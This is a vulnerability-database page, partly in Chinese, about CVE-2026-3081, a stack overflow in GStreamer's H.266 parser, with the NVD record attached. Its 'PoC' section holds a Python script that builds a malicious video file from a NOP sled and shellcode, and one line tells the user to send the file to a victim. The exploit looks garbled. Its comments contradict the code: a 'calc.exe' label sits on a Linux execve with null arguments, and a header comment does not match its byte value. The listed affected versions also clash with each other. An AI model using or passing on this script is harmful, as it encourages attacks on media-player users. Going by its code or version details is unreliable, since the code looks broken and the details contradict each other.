Security Vulnerability Report
中文
CVE-2026-3081 CVSS 7.8 HIGH

CVE-2026-3081

Published: 2026-03-16 14:19:46
Last Modified: 2026-03-17 18:58:06

Description

GStreamer H.266 Codec Parser Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GStreamer. Interaction with this library is required to exploit this vulnerability but attack vectors may vary depending on the implementation. The specific flaw exists within the parsing of decoding units. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28839.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:gstreamer:gstreamer:*:*:*:*:*:*:*:* - VULNERABLE
GStreamer < 1.24.x (具体版本需参考官方安全公告)
包含H.266/VVC编解码器插件的所有GStreamer版本
所有使用GStreamer处理不可信视频数据的应用程序

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2026-3081 PoC - GStreamer H.266栈缓冲区溢出 # 此PoC生成一个触发栈溢出漏洞的恶意H.266视频文件 import struct import sys def create_malicious_h266_file(): """生成触发CVE-2026-3081漏洞的恶意H.266文件""" # H.266/VVC NAL单元头 nal_header = bytes([0x00, 0x00, 0x00, 0x01]) # NAL单元类型 - VCL NAL单元 (类型40-49为VCL NAL单元) nal_unit_type = bytes([0x40 | 0x27]) # 67, IDR_W_RADL # 生成超长payload以触发栈缓冲区溢出 # 目标栈缓冲区大小未知,但需要足够大以覆盖关键栈数据 overflow_length = 8192 # 8KB溢出数据 # 构造恶意payload # 前半部分填充NOP sled nop_sled = bytes([0x90] * (overflow_length // 2)) # 后半部分放置shellcode - 启动calc.exe (Windows示例) # 注意:shellcode需要根据目标平台定制 shellcode = bytes([ 0x48, 0x31, 0xC0, # xor rax, rax 0x48, 0x31, 0xFF, # xor rdi, rdi 0x48, 0x31, 0xF6, # xor rsi, rsi 0x48, 0x31, 0xD2, # xor rdx, rdx 0xB0, 0x3B, # mov al, 0x3b (sys_execve) 0x0F, 0x05 # syscall ]) # 填充到目标长度 shellcode = shellcode.ljust(overflow_length // 2, b'\x90') malicious_payload = nop_sled + shellcode # H.266比特流结构 h266_bitstream = nal_header + nal_unit_type + malicious_payload return h266_bitstream def trigger_vulnerability(file_path): """触发漏洞 - 需要目标系统安装GStreamer""" try: import subprocess # 使用GStreamer工具打开恶意文件 cmd = ['gst-play-1.0', file_path] subprocess.run(cmd, timeout=5) except Exception as e: print(f"Error triggering vulnerability: {e}") if __name__ == '__main__': output_file = 'cve_2026_3081_poc.266' # 生成恶意文件 malicious_data = create_malicious_h266_file() with open(output_file, 'wb') as f: f.write(malicious_data) print(f"[+] PoC file generated: {output_file}") print(f"[+] File size: {len(malicious_data)} bytes") print("[+] Send this file to victim and have them open it with GStreamer") # 可选:自动触发 if '--trigger' in sys.argv: trigger_vulnerability(output_file)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3081", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:46.047", "lastModified": "2026-03-17T18:58:06.030", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "GStreamer H.266 Codec Parser Stack-based Buffer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of GStreamer. Interaction with this library is required to exploit this vulnerability but attack vectors may vary depending on the implementation.\n\nThe specific flaw exists within the parsing of decoding units. The issue results from the lack of proper validation of the length of user-supplied data prior to copying it to a fixed-length stack-based buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-28839."}, {"lang": "es", "value": "Vulnerabilidad de ejecución remota de código por desbordamiento de búfer basado en pila en el parser del códec H.266 de GStreamer. Esta vulnerabilidad permite a atacantes remotos ejecutar código arbitrario en instalaciones afectadas de GStreamer. Se requiere interacción con esta biblioteca para explotar esta vulnerabilidad, pero los vectores de ataque pueden variar dependiendo de la implementación.\n\nLa falla específica existe en el análisis de unidades de decodificación. El problema resulta de la falta de validación adecuada de la longitud de los datos proporcionados por el usuario antes de copiarlos a un búfer basado en pila de longitud fija. Un atacante puede aprovechar esta vulnerabilidad para ejecutar código en el contexto del proceso actual. Fue ZDI-CAN-28839."}], "metrics": {"cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-121"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:gstreamer:gstreamer:*:*:*:*:*:*:*:*", "versionEndExcluding": "1.28.1", "matchCriteriaId": "1F1B75B8-0527-487E-8F53-A658F7A1E7A5"}]}]}], "references": [{"url": "https://gitlab.freedesktop.org/gstreamer/gstreamer/-/commit/2ffdfca2df95a7f605c922d3111e5d5be5314dca", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.zerodayinitiative.com/advisories/ZDI-26-162/", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}